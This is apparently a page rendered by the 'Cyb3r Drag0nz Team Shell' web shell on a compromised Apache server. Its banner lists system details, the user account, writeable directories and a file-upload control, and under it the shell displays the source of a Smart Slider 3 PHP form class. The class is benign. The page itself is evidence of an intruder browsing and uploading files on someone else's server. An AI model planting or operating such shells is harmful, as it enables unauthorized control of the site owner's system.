Google

Cyb3r Drag0nz Team Shell

Server : Apache
System : Linux server1.cbinetwhm.bi 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : fenacobu (1017)
PHP Version : 8.1.34
Disable Functions : NONE
Current Directory : /home/fenacobu/www/libraries/smartslider3/src/Framework/Form/
Directory Status: Writeable | Document Root: Writeable

Upload File







Viewing: /home/fenacobu/www/libraries/smartslider3/src/Framework/Form/ContainerMain.php

<?php


namespace Nextend\Framework\Form;


use Nextend\Framework\Form\Fieldset\FieldsetHidden;

class ContainerMain extends AbstractContainer {

    /**
     * @var Form
     */
    protected $form;

    /**
     * @var FieldsetHidden
     */
    protected $fieldsetHidden;

    /**
     * ContainerMain constructor.
     *
     * @param Form $form
     */
    public function __construct($form) {
        $this->form        = $form;
        $this->controlName = $form->getControlName();

        $this->fieldsetHidden = new FieldsetHidden($this);
    }

    public function removeElement($element) {
        $previous = $element->getPrevious();
        $next     = $element->getNext();

        if ($this->first === $element) {
            $this->first = $next;
        }

        if ($this->last === $element) {
            $this->last = $previous;
        }

        if ($previous) {
            $previous->setNext($next);
        } else {
            $next->setPrevious();
        }
    }

    public function getParent() {
        return false;
    }

    public function getPath() {
        return '';
    }

    /**
     * @return Form
     */
    public function getForm() {
        return $this->form;
    }

    /**
     * @return string
     */
    public function getName() {
        return 'ContainerMain';
    }

    /**
     * @return FieldsetHidden
     */
    public function getFieldsetHidden() {
        return $this->fieldsetHidden;
    }

    /**
     *
     * @return ContainerContainedInterface
     */
    public function getFirst() {
        return $this->first;
    }
}

Cyb3r Drag0nz Team • Google Edition